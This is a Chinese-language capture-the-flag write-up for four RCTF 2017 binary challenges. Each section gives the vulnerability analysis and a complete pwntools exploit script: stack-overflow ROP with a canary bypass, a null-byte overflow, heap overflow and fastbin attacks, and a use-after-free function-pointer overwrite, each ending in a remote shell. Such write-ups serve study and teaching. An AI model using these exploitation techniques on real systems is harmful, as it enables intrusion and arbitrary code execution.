Rcalc
程序入口
Input your name pls: 124sdf
Hello 124sdf!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:
看一下代码
__int64 main_1()
{
...
printf("Input your name pls: ");
__isoc99_scanf((__int64)"%s", (__int64)&name);// 可以溢出
...
return result;
}
在主函数中调用了scanf("%s", &name)来获取输入,很明显,这是一个栈溢出。但是程序中实现了一个伪canary保护,所以需要先突破这个防护
__int64 main_1()
{
__int64 result; // rax@1
char name; // [sp+0h] [bp-110h]@1
__int64 v2; // [sp+108h] [bp-8h]@1 //v2在栈的底部,栈溢出会将其覆盖
v2 = init_random();
...
result = get_random();
if ( result != v2 )
sub_400BD4(); //发现栈溢出,退出程序
return result;
}
注意一下save_result功能:它会将两个数字相加的结果保存在bss段上,但是并没有进行边界检测
__int64 __fastcall save_result(__int64 a1)
{
__int64 cal_results_list; // rsi@1
__int64 count; // rdx@1
__int64 result; // rax@1
cal_results_list = *((_QWORD *)cal_results + 1);
count = (*(_QWORD *)cal_results)++;
result = a1;
*(_QWORD *)(cal_results_list + 8 * count) = a1;
return result;
}
来看一下bss中的数据布局
.bss:06020F0 ; #3 *cal_result
.bss:06020F0 cal_result
.bss:06020F0
.bss:06020F8 ; #3 *randoms
.bss:06020F8 randoms
.bss:06020F8
很明显,在经历有限次的save_result后就可以覆盖randoms数据,那么只要和栈溢出的数据做一个匹配,就可以顺利地执行ROP操作了。完整的脚本如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = False
debug = True
slog = True
if slog: context.log_level = "debug"
if local:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
libc = ELF('./libc.so.6')
def pwn():
if local:
p = process('./RCalc')
else:
p = remote('rcalc.2017.teamrois.cn', 2333)
p.recvuntil('name pls:')
pop_rdi = 0x401123
pop_rsi_r15 = 0x401121
pattern = 0x401203
bss = 0x602100
scanf_plt = 0x4008e0
printf_plt = 0x400850
__libc_start_main_ptr = 0x601ff0
main_start = 0x401036
payload = 'a'*8*33 + p64(1) + 'b'*8
payload += p64(pop_rdi) + p64(pattern) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(scanf_plt)
payload += p64(pop_rdi) + p64(pattern) + p64(pop_rsi_r15) + p64(__libc_start_main_ptr) + p64(0) + p64(printf_plt)
payload += p64(main_start)
p.sendline(payload)
def add(num1, num2, is_save=True):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('integer:')
p.sendline(str(num1))
p.sendline(str(num2))
p.recvuntil('result?')
if is_save:
p.sendline('yes')
else:
p.sendline('no')
def exit():
p.recvuntil('choice:')
p.sendline('5')
for i in range(34):
add(i+1, i+1)
add(0, 1)
#gdb.attach(p, open('debug'))
exit()
p.sendline('/bin/sh\x00')
__libc_start_main_addr = u64(p.recvn(6) + "\x00\x00")
print("__libc_start_main_addr is " + hex(__libc_start_main_addr))
system_addr = __libc_start_main_addr + libc.symbols['system'] - libc.symbols['__libc_start_main']
print("system addr is " + hex(system_addr))
p.recvuntil('name pls:')
payload = 'a'*8*33 + p64(1) + 'b'*8
payload += p64(pop_rdi) + p64(bss) + p64(system_addr)
p.sendline(payload)
for i in range(34):
add(i+1, i+1)
add(0, 1)
if local and debug: gdb.attach(p, open('debug'))
exit()
p.interactive()
if __name__ == '__main__':
pwn()
Rnote
程序入口
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice:
本题的主要问题出在readn功能中,这里存在一个null-byte溢出
__int64 __fastcall readn(__int64 a1, unsigned int a2)
{
for ( i = 0; i <= (signed int)a2; ++i )
{
if ( read(0, &buf, 1uLL) < 0 )
exit(1);
*(_BYTE *)(a1 + i) = buf;
if ( *(_BYTE *)(i + a1) == '\n' )
{
*(_BYTE *)(i + a1) = 0;
return (unsigned int)i;
}
}
return (unsigned int)i;
}
通过溢出后可以修改指针
0x6020e0: 0xe000000001 0x61616161
0x6020f0: 0x0 0xff7010
0x602100: 0xa000000001 0x62626262
0x602110: 0x0 0xff7100
0x602120: 0x1000000001 0x6363636363636363
0x602130: 0x6363636363636363 0xff7100 //null-byte溢出导致改指针指向第一个堆块
事实上,这个时候就可以触发UAF泄露libc地址。讲道理到这里已经可以通过修改stdout指针去拿shell了,然而试了很久也没有成功,果断换个方法:先控制main_arena的top指针,使其指向atoi_got,最后再分配一块不在fastbin列表中的内存就可以控制atoi函数了。完整的脚本如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
local = 0
slog = 1
if slog: context.log_level = "debug"
def pwn():
if local:
p = process("./RNote")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('rnote.2017.teamrois.cn', 7777)
libc = ELF('./libc.so.6')
def add(size, title, content):
p.recvuntil("choice:")
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('title:')
p.sendline(title)
p.recvuntil('content:')
p.sendline(content)
def show(index):
p.recvuntil("choice:")
p.sendline('3')
p.recvuntil('show:')
p.sendline(str(index))
def delete(index):
p.recvuntil("choice:")
p.sendline('2')
p.recvuntil('delete:')
p.sendline(str(index))
add(0xe0, 'aaaa', 'bbbb')
add(0xa0, 'bbbb', 'dddd')
add(0x10, 'c'*0x10, 'dddd')
add(0x60, 'dddd', 'dddd')
add(0x60, 'dddd', 'dddd')
delete(1)
add(0x60, 'dddd', 'eeee')
delete(4)
delete(1)
show(2)
p.recvuntil('content: ')
heap_base = u64(p.recvn(8)) - 0x230
print("heap_base is "+ hex(heap_base))
main_arena = u64(p.recvn(8)) - 248
print('main_arena addr is ' + hex(main_arena))
libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
print('libc_base is ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
print("system addr is " + hex(system_addr))
delete(3)
delete(2)
fake_fastbin = libc_base + libc.symbols['_IO_2_1_stderr_'] + 165 - 8
add(0x60, 'dddd', p64(0x60))
add(0x60, 'dddd', 'eeee')
add(0x60, 'dddd', 'eeee')
#add(0x60, 'dddd', 'a'*0x26 + p64(0xdeadbeaf))
#add(0x60, 'dddd', 'a'*0x13)
add(0x40, 'dddd', 'eeee')
add(0x50, 'dddd', 'eeee')
add(0x50, 'd'*0x10, 'eeee')
add(0x50, 'dddd', 'eeee')
delete(5)
delete(7)
delete(6)
fake_fastbin = libc_base + libc.symbols['_IO_2_1_stdout_'] + 165 - 8
add(0x50, 'dddd', p64(main_arena + 0x28))
add(0x50, 'dddd', 'eeee')
add(0x50, 'dddd', 'eeee')
#gdb.attach(p, open('debug'))
add(0x50, 'dddd', p64(0) * 4 + p64(0x602058))
add(0x40, 'dddd', p64(system_addr))
p.sendline('/bin/sh')
p.interactive()
if __name__ == '__main__':
pwn()
Rnote2
程序入口
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:
主要关注两个函数
第一个函数在输入结束后没有添加\0结束符
__int64 __fastcall readn(__int64 a1, unsigned int a2)
{
char buf; // [sp+1Bh] [bp-5h]@2
int i; // [sp+1Ch] [bp-4h]@1
for ( i = 0; i < (signed int)a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
break;
*(_BYTE *)(a1 + i) = buf;
if ( *(_BYTE *)(i + a1) == 0xA )
break;
}
return (unsigned int)i;
}
另外一个函数是expand功能里面
__int64 expand()
{
...
if ( (signed __int64)(signed int)v3 + ptr->length > 256 ) //长度判断
{
puts("Too big!");
exit(1);
}
ptr->content = realloc(ptr->content, (signed int)v3 + ptr->length);
...
strncat((char *)ptr->content, &s, (signed int)(v3 - 1));
...
}
在正常情况下,这段代码并不会出现问题。但是存在一个问题,如果我们在释放一个非fastbin的堆块后,这个堆块的bck和fwd指针都会变成main_arena中的bins的地址。
0x55f53cdb8000: 0x0 0x31
0x55f53cdb8010: 0x0 0x100
0x55f53cdb8020: 0x55f53cdb8150 0x55f53b977080
0x55f53cdb8030: 0x55f53cdb8040 0x111
0x55f53cdb8040: 0x7f2e69217b58 0x7f2e69217b58
此时,如果申请一个字节的块,内容为一个回车符,堆块就会变成这个样子
0x563ba85af030: 0x563ba85af040 0x21
0x563ba85af040: 0x7fbdfc61bc0a[回车符] 0x7fbdfc61bc58
0x563ba85af050: 0xa 0xf1
这个时候如果调用list功能,就已经可以泄露libc地址了。那么在泄露完之后,我们还得想办法控制EIP。注意下面这行代码
strncat((char *)ptr->content, &s, (signed int)(v3 - 1));
在上一步中,我们只申请了一个字节的堆块,因此对应的ptr->length = 1,那么只要扩充后的长度不超过堆块大小,这个时候调用strcat就有可能导致堆溢出
0x5606b8b19040: 0x62627f0d6cec9c0a 0x6262626262626262
0x5606b8b19050: 0x6262626262626262 0x51 //堆块大小被修改成了0x51
0x5606b8b19060: 0x0 0x60
0x5606b8b19070: 0x0 0x5606b8b19010
通过修改堆块大小我们就可以构造heap overlap,再下一步就是fastbin attack了,籍此可将realloc修改成system函数,那么在触发expand时就可以get shell。完整的代码如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
slog = 1
local = 0
if slog: context.log_level = 'debug'
def add(length, content):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('length:')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)
def delete(index):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('delete?')
p.sendline(str(index))
def list():
p.recvuntil('choice:')
p.sendline('3')
def edit():
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('edit?')
p.sendline(str(index))
p.recvuntil('content:')
p.sendline(content)
def expand(index, expand_length, expand_content):
p.recvuntil('choice:')
p.sendline('5')
p.recvuntil('expand?')
p.sendline(str(index))
p.recvuntil('expand?')
p.sendline(str(expand_length))
p.recvuntil('expand')
p.sendline(expand_content)
if local:
p = process('./RNote2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('rnote2.2017.teamrois.cn', 6666)
libc = ELF('./libc.so.6')
add(0x100, 'a'*0x10)
add(0x10, 'b'*0xf)
delete(1)
add(1, '')
list()
p.recvuntil('content: ')
p.recvuntil('content: ')
main_arena = u64(p.recvn(6) + '\x00\x00') - 0x10a
print('main_arena is ' + hex(main_arena))
if local:
libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
else:
libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook'] + 0x20
print('libc base is ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
add(0x60, p64(0)*3 + p64(0x21))
expand(2, 0x15, 'b'* 0x12 + '\x51\x00')
add(1, '')
delete(3)
"""
0x55847781a050: 0x6262626262626262 0x51
0x55847781a060: 0x0 0x60
0x55847781a070: 0x55847781a100 0x55847781a010
0x55847781a080: 0x55847781a090 0x71
0x55847781a090: 0x0 0x0
0x55847781a0a0: 0x0 0x21
"""
fake_fastbin = libc_base + libc.symbols['__malloc_hook'] - 0x20 + 5 - 8
payload = 'a'*0x28 + p64(0x71) + p64(fake_fastbin)
add(0x40, payload)
add(0x60, "/bin/sh\x00")
add(0x60, 'a'*11 + p64(system_addr)*2)
#gdb.attach(p, open('debug'))
p.recvuntil('choice:')
p.sendline('5')
p.recvuntil('expand?')
p.sendline(str(5))
p.interactive()
Aircraft
程序入口
Welcome to aiRline!
what do you want to do?
1. Buy a new plane
2. Build a new airport
3. Enter a airport
4. Select a plane
5. Exit
Your choice:
这个题是一个UAF漏洞的题,漏洞出现在sell_airport功能中
int __fastcall sell_airport(_QWORD *airplane)
{
...
free(airplane); //airplane指向的是airport结构体
return puts("Success!");
}
int __fastcall do_with_airport(_QWORD *a1)
{
...
return sell_airport(a1);
}
在释放后,并没有将对应的指针置空,从而导致了UAF漏洞。通过UAF漏洞,可以泄露地址,也可以控制堆块的分配顺序。这个时候,还需要关注另外一段代码
int __fastcall sell_plane(Airplane *a1)
{
delete_from_link(a1);
return ((int (__fastcall *)(Airplane *))a1->func)(a1);
}
在airplane结构体中,有一个函数指针默认指向了free函数,这个函数会在sell_plane功能中调用
struct Airplane
{
char name[32];
char *company;
char *airport;
Airplane *prev;
Airplane *next;
_QWORD *func;
};
那么我们在可以控制堆块分配后要做的就是控制这个函数指针,使其指向system函数,并将对应的airplane的名称修改为/bin/sh,那么在sell_plane时就可以get shell,完整的脚本如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
slog = 1
local = 0
if slog: context.log_level = 'debug'
if local:
p = process("./aircraft")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("aircraft.2017.teamrois.cn", 9731)
libc = ELF("./libc.so.6")
def buy(airtype, name):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('choice')
p.sendline(str(airtype))
p.recvuntil('name:')
p.sendline(name)
def build(length, name):
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('name?')
p.sendline(str(length))
p.recvuntil('name:')
p.sendline(name)
def enter(index, option):
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('choose?')
p.sendline(str(index))
p.recvuntil('choice:')
p.sendline(str(option))
if option == 1:
p.recvuntil('Exit')
p.sendline('3')
def select(name, option, airport = -1, is_exit = True):
p.recvuntil('choice')
p.sendline('4')
p.recvuntil('choose?')
p.sendline(name)
p.recvuntil('Exit')
p.sendline(str(option))
if option == 1:
p.recvuntil('fly?')
assert airport != -1
p.sendline(str(airport))
if is_exit:
p.recvuntil('choice:')
p.sendline('3')
list_airport = 1
sell_airport = 2
fly_airplane = 1
sell_airplane = 2
for i in range(5):
buy(1, str(i))
build(20, "a"*0x10)
build(20, "b"*0x10)
enter(0, sell_airport)
enter(1, sell_airport)
select('0', fly_airplane, 1, is_exit = False)
p.recvuntil('0 to ')
code_base = u64(p.recvn(6) + '\x00\x00') - 0xb7d
print("code_base is " + hex(code_base))
p.recvuntil('choice:')
p.sendline('3')
build(0x80, p64(code_base + 0x202080))
select('1', fly_airplane, 1, is_exit = False)
p.recvuntil('1 to ')
heap_base = u64(p.recvn(6) + '\x00\x00') - 0x1a0
print("heap_base is " + hex(heap_base))
p.recvuntil('choice:')
p.sendline('3')
build(20, "a"*0x10)
build(20, "b"*0x10)
enter(3, sell_airport)
enter(4, sell_airport)
payload = p64(code_base + 0x201f70)
payload += p64(heap_base + 0x10)
payload += p64(heap_base + 0x60)
payload += p64(heap_base + 0x10)
payload = payload.ljust(0x88, '\x00')
build(0x88, payload)
select('2', fly_airplane, 4, is_exit = False)
p.recvuntil('2 to ')
free_addr = u64(p.recvn(6) + '\x00\x00')
print("free_addr is " + hex(free_addr))
system_addr = free_addr - libc.symbols['free'] + libc.symbols['system']
print("system addr is " + hex(system_addr))
p.recvuntil('choice:')
p.sendline('3')
build(0x60, '')
enter(4, sell_airport)
build(0x40, 'aaaaaaaaaa')
build(0x40, p64(heap_base + 0xf0))
build(0x40, 'aaaaaaaaaa')
build(0x40, 'aaaaaaaaaa')
build(0x48, "/bin/sh".ljust(0x20, '\x00') + p64(heap_base + 0x10)*4 + p64(system_addr))
#gdb.attach(p, open('debug'))
select('/bin/sh', 2)
p.interactive()